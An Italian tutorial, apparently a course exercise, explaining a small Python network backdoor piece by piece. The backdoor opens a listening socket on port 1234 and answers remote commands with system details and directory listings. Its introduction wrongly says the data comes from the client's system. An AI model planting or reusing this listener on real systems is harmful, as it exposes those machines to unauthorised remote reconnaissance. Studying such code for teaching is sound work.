Backdoor illustrazione:

Il codice mostrato nell'immagine è uno script Python che implementa una semplice backdoor di rete. Questo script permette a un server di accettare connessioni da client remoti e di eseguire comandi o recuperare informazioni dal sistema del client. Vediamo il funzionamento di ciascuna parte del codice:

Spiegazione del Codice

Importazione dei Moduli

```
import socket, platform, os
```

Vengono importati i moduli necessari: socket per la comunicazione di rete, platform per ottenere informazioni sul sistema operativo e os per interagire con il file system.

Configurazione del Server

```
SRV_ADDR = ""
SRV_PORT = 1234
```

Viene definito l'indirizzo IP e la porta su cui il server ascolterà le connessioni. In questo caso, l'indirizzo IP è vuoto, il che significa che il server ascolterà su tutte le interfacce di rete disponibili.

Creazione e Configurazione del Socket

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
```

Viene creato un socket TCP (socket.SOCK_STREAM) e associato all'indirizzo e alla porta specificati. Il metodo listen(1) fa sì che il server sia pronto ad accettare una connessione alla volta.

Accettazione delle Connessioni

```
connection, address = s.accept()
print("Client connected: ", address)
```

Il server accetta una connessione in entrata e stampa l'indirizzo del client connesso.

Gestione delle Connessioni

```
while True:
    try:
        data = connection.recv(1024)
    except:
        continue
```

Il server entra in un ciclo infinito per gestire le connessioni. Riceve i dati inviati dal client in blocchi di 1024 byte.

Esecuzione dei Comandi

Comando 1: Ottenere Informazioni sul Sistema

```
if(data.decode("utf-8") == '1'):
    tosend = platform.platform() + "***" + platform.machine()
    connection.sendall(tosend.encode())
```

Se il comando ricevuto è 1, il server invia al client informazioni sulla piattaforma e sulla macchina.

Comando 2: Elenco dei File in una Directory

```
elif(data.decode("utf-8") == '2'):
    data = connection.recv(1024)
    try:
        filelist = os.listdir(data.decode('utf-8'))
        tosend = ""
        for x in filelist:
            tosend = tosend + x + "***"
        connection.sendall(tosend.encode())
    except:
        tosend = "wrong path"
        connection.sendall(tosend.encode())
```

Se il comando ricevuto è 2, il server riceve un percorso di directory dal client, ne elenca i file e invia l'elenco al client. Se il percorso è errato, invia un messaggio di errore.

Comando 0: Chiudere la Connessione

```
elif(data.decode('utf-8') == '0'):
    connection.close()
    connection, address = s.accept()
```